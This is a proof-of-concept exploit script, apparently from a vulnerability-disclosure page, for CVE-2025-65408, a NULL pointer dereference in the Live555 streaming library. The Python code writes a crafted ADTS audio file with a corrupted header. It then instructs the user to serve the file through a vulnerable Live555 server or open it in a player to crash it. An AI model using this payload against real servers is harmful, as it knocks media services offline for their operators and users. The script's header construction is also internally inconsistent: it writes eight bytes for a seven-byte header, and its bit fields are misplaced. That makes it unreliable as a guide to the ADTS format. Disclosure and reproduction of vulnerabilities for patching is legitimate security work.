CVE-2025-65408 Live555 ADTSAudioFileServerMediaSubsession NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-65408 PoC - Live555 NULL Pointer Dereference in ADTSAudioFileServerMediaSubsession This PoC generates a crafted ADTS file that triggers NULL pointer dereference in createNewRTPSink() function, causing denial of service. """ import struct import sys def create_crafted_adts_file(filename, corrupt_frame=False): """ Generate a crafted ADTS file to trigger CVE-2025-65408 ADTS Header Structure (7 bytes): - Sync word: 12 bits (0xFFF) - MPEG-4 LC: 1 bit (0) - Layer: 2 bits (00) - Protection absent: 1 bit (1 = no CRC) - Profile: 2 bits - Sampling frequency index: 4 bits - Private bit: 1 bit - Channel configuration: 3 bits - Original/Copy: 1 bit - Home: 1 bit - Copyright identification bit: 1 bit - Copyright identification start: 1 bit - Frame length: 13 bits - Adts buffer fullness: 11 bits - Number of AAC frames: 2 bits """ adts_header = bytearray() # Sync word (0xFFF) + MPEG-4 LC + Layer + Protection absent # First 2 bytes: 0xFFF0 (1111 1111 1111 0000) # 0xFFF = sync word, 0x0 = MPEG-4 LC (1 bit) + Layer (2 bits) + Protection absent = 1 if corrupt_frame: # Corrupt frame to trigger NULL pointer dereference adts_header.append(0xFF) adts_header.append(0xF0) # Invalid config else: adts_header.append(0xFF) adts_header.append(0xF1) # Valid sync + MPEG-4 LC LC + no CRC # Profile (2 bits) + Sampling frequency index (4 bits) + Private (1 bit) # Using AAC LC profile (00) and 44100 Hz sampling (4 = 0x04) profile_and_samp = (0x00 << 6) | (0x04 << 2) | 0x00 adts_header.append(profile_and_samp) # Channel configuration (2 bits) + Original/Copy + Home + Copyright bits channel_config = (0x02 << 6) | (0 << 2) | (0 << 1) | 0 adts_header.append(channel_config) # Copyright identification + Frame length high (5 bits) frame_length_high = 0x00 adts_header.append(frame_length_high) # Frame length low (8 bits) - total frame length including header frame_length_low = 0x15 # Minimal frame length adts_header.append(frame_length_low) # ADTS buffer fullness (11 bits) + Number of AAC frames (2 bits) buffer_fullness = 0x7FF # Variable bit rate aac_frames = 1 adts_footer = (buffer_fullness << 6) | aac_frames adts_header.append((adts_footer >> 8) & 0xFF) adts_header.append(adts_footer & 0xFF) # Add minimal frame data to make file parseable frame_data = b'\x00' * 200 # Write crafted ADTS file with open(filename, 'wb') as f: f.write(adts_header) f.write(frame_data) print(f"[+] Crafted ADTS file created: {filename}") print(f"[+] File size: {len(adts_header) + len(frame_data)} bytes") return filename def main(): print("=" * 60) print("CVE-2025-65408 PoC - Live555 NULL Pointer Dereference") print("=" * 60) filename = "crafted_cve_2025_65408.adts" create_crafted_adts_file(filename, corrupt_frame=True) print("\n[*] Usage: Serve this file via vulnerable Live555 server") print("[*] Or open with media player that uses Live555 library") print("[*] Expected result: Server crash with NULL pointer dereference") if __name__ == "__main__": main()